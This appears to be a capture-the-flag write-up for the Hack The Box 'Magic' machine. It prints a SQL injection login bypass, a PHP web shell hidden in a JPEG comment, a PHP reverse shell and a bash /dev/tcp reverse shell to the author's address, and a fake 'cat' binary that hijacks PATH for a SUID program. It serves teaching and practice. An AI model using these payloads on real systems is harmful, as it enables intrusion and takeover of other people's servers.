18 April 2020 IP:
Magic throws a few rabbit holes at you while focusing on SQLi authentication bypass techniques and fooling basic image upload checks with embedded PHP code.
Tools and Utilities:
We start off with a basic nmap scan of the top 1000 ports, plus service and OS discovery.
nmap -sV -sC -oA nmap 10.10.10.185
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-02 19:38 CDT Nmap scan report for 10.10.10.185 Host is up (0.068s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA) | 256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA) |_ 256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Magic Portfolio Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 10.30 seconds
- We immediately confirm that this is a Linux machine, running some version of Ubuntu. If we check the Apache httpd versions bundled with Ubuntu, we can see this is likely Ubuntu Bionic 18.04 LTS.
- There are only two ports to look at, and in order of likeliness to exploit, we will be focusing on the web content on port 80 first.
- I immediately fired off a gobuster command to try to discover any hidden content on the web root:
gobuster dir -u http://10.10.10.185 -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -o gobuster_big.out
- While this was running, I focused on capturing all of the standard website requests in Burp Suite. One request that caught my eye was the
- Basic parameter modification was attempted to try to see if the server would error, either out-loud or silently. Inserting a single
'into one of the parameter fields. A single quote did not return any visible error.
- Throwing some other common SQLi payloads at it, we see a redirect to the
upload.phppage after using
Bypassing the login page
- After playing around, we discovered that the login page can be bypassed with a variety of different SQLi payloads, that cause the SQL query to return the first result and allow the backend to redirect us to the upload.php endpoint.
- The final SQLi payload I used was:
POST /login.php HTTP/1.1 Host: 10.10.10.185 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html;application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://10.10.10.185/login.php Content-Type: application/x-www-form-urlencoded Content-Length: 29 Connection: close Cookie: PHPSESSID=p0prh648u8clll1g3besirifh5 Upgrade-Insecure-Requests: 1 username='='&password=password
Fooling the image upload check
- Now we are on the
upload.phppage which seems to attempt to only allow the uploading of image files.
- The first thing I try is changing the Content and Mime type of the uploaded file with a
- Unfortunately, the server was still able to validate that this was not a valid image file and rejected the upload.
- The next idea was to use
exiftoolto embed comment data within a real image, that would contain PHP code we could attempt to execute.
- Our PHP code would just take the GET request param value of
xand pass it to
shell_exec, echoing out the stdout.
<?php echo shell_exec($_GET['x']); ?>
- We add the comment to a real JPEG image:
- Our image file uploaded this time!
- We navigate to the location of the uploaded image, in this case:
- Now it's time to craft a reverse-shell payload we can pass to PHP. Below is my PHP go-to payload of choice, which I then URL-encode to allow it to execute without issues.
- Before triggering this payload, we setup a local netcat listener on port 81:
nc -lvnp 81
php -r '$sock=fsockopen("10.10.14.8",81);exec("/bin/sh -i <&3 >&3 2>&3");'
- Finally, this is passed to the URL of our PHP/JPG file like so:
Enumeration with shell as www-data
- Now that we have a shell as
www-data, we need to start enumerating files that make the most sense. One of the first things I check when my point of entry was a web application is the
- Here we find a file called
- Let's try to access the mysql database using these credentials. I went straight for a full database dump so I could search through the results easier, since I assumed this was a tiny DB.
/etc/passwdshows another user on the box named
- It's always a good idea to try credentials you find on all possible usernames!
- We are able to escalate to this user by running
su theseusand using the above password.
user.txtflag is available for the taking now!
Privilege Escalation from shell as theseus
- While enumerating through my normal Linux privilege escalation methodology, I discovered that the
/bin/sysinfobinary has root execution rights:
- What exactly does this file do? Running
stringsagainst it shows that it's calling a number of commands such as
- Like with other SUID attacks in CTFs, we always look for low-hanging fruit like this so we can create our own malicious versions of these commands and inject them into the $PATH, getting the root user to execute our code when calling the SUID binary.
- I chose to make my own malicious version of the
catbinary that would actually invoke a reverse bash shell to my local netcat listener:
echo -e '#!/bin/bash\n\nbash -i >& /dev/tcp/10.10.14.8/82 0>&1' > cat
- We then chmod the file and execute
sysinforuns and calls our malicious
catcommand as the root user, popping a shell on my nc listener:
- Now the root.txt flag is acquired!
- Magic contained a lot of fun little rabbit holes but we tried to focus on the important bits to make the most head-way without spinning in circles. One fun rabbit hole was that each image had hexadecimal text, so I spent some time trying to combine and decode these to see if there was a hint.
- SQLi isn't always loud, most of the time its silent and you won't see any errors from the server. It's important to keep persistent here and try a variety of payloads just in case you are actually exploiting SQLi. This paid off big-time here by allowing us to bypass the authentication entirely.
- It's important to be familiar with how websites try to limit upload file types. Sometimes they just check the extension, other times they check the content-type, etc. In this case, Magic was actually checking for a valid image file. Understand that you can concat malicious code to image files, either by using exiftool and inserting a comment, or by just concatenating the malicious content after a valid header/magic bytes representing the image. Depending on how the backend is validating the image you may prefer one of these techniques over the other.
- Always check for database files on boxes that have web apps. These usually give you credentials that can often be reused or attempted against other usernames you discover. Access to the database shell allows you to dump user credentials or even attempt to load malicious SQL libraries for privilege escalation.
- Be familiar with SUID binary discovery and exploitation. Although I don't find this often in real-world scenarios, it's a common theme in CTFs and exploiting them is almost always done in a very similar way.